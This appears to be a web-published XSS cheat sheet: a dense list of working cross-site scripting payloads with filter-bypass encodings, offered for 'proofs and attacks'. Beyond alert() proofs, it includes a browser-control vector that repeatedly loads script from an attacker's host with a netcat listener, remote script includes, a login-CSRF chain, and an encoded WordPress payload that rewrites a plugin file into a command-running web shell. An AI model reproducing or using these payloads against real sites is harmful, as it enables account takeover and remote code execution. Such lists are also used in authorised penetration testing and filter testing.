XSS Cheat Sheet

Basic and advanced exploits for XSS proofs and attacks.

Work in progress, bookmark it.

TechniqueVector/Payload *
* In URLs:
& => %26 , # => %23 , + => %2B
HTML Context
Tag Injection

<svg onload=alert(1)>
"><svg onload=alert(1)//
HTML Context
Inline Injection

"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
Javascript Context
Code Injection

'-alert(1)-'
'-alert(1)//
Javascript Context
Code Injection
(escaping the escape)


\'-alert(1)//
Javascript Context
Tag Injection

</script><svg onload=alert(1)>
PHP_SELF Injectionhttp://DOMAIN/PAGE.php/"><svg onload=alert(1)>
Without Parenthesis<svg onload=alert`1`>
<svg onload=alert&lpar;1&rpar;>
<svg onload=alert&#x28;1&#x29>
<svg onload=alert&#40;1&#41>


Filter Bypass
Alert Obfuscation
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)




Body Tag
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)



Miscellaneous Vectors
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!





Agnostic Event Handlers
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
Code Reuse
Inline Script
<script>alert(1)//
<script>alert(1)<!–
Code Reuse
Regular Script
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>




Filter Bypass
Generic Tag + Handler
Encoding
Mixed Case
Spacers
%3Cx onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
<X onxxx=1
<x OnXxx=1
<X OnXxx=1

Doubling
<x onxxx=1 onxxx=1

<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
QuotesStrippingMimetism
<x 1='1'onxxx=1
<x 1="1"onxxx=1
<[S]x onx[S]xx=1

[S] = stripped char or string
<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/
Generic Source Breaking
<x onxxx=alert(1) 1='
Browser Control<svg onload=setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:PORT'},0)>

$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done






Multi Reflection
Double Reflection
Single Input Single Input (script-based)
'onload=alert(1)><svg/1=''>alert(1)</script><script/1='
*/alert(1)</script><script>/*
Triple Reflection
Single InputSingle Input (script-based)
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
Multi Input
Double InputTriple Input
p=<svg/1='&q='onload=alert(1)>p=<svg 1='&q='onload='/*&r=*/alert(1)'>






Without Event Handlers
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>




Mobile Only
Event Handlers
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
Javascript
PropertiesFunctions
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>
Generic Self to Regular XSS<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>





File Upload
Injection in Filename
"><img src=1 onerror=alert(1)>.gif

Injection in Metadata
$ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg

Injection with SVG File
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

Injection with GIF File as Source of Script (CSP Bypass)
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;


Google Chrome
Auditor Bypass

(up to v51)
<script src="data:&comma;alert(1)//
"><script src=data:&comma;alert(1)//

<script src="//brutelogic.com.br&sol;1.js&num;
"><script src=//brutelogic.com.br&sol;1.js&num;

<link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;
"><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;
PHP File for
XHR Remote Call
<?php header(“Access-Control-Allow-Origin: *”); ?>
<img src=1 onerror=alert(1)>
Server Log Avoidance<svg onload=eval(URL.slice(-8))>#alert(1)
<svg onload=eval(location.hash.slice(1)>#alert(1)
<svg onload=innerHTML=location.hash>#<script>alert(1)</script>

Shortest PoC
<base href=//0>

$ while:; do echo "alert(1)" | nc -lp80; done




Portable Wordpress RCE
<script/src="data:&comma;eval(atob(location.hash.slice(1)))//&num;
#eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd
Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w
aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n
X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC
5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV
RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE
9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl
wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD
Qp4LnNlbmQoJCk=

http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD

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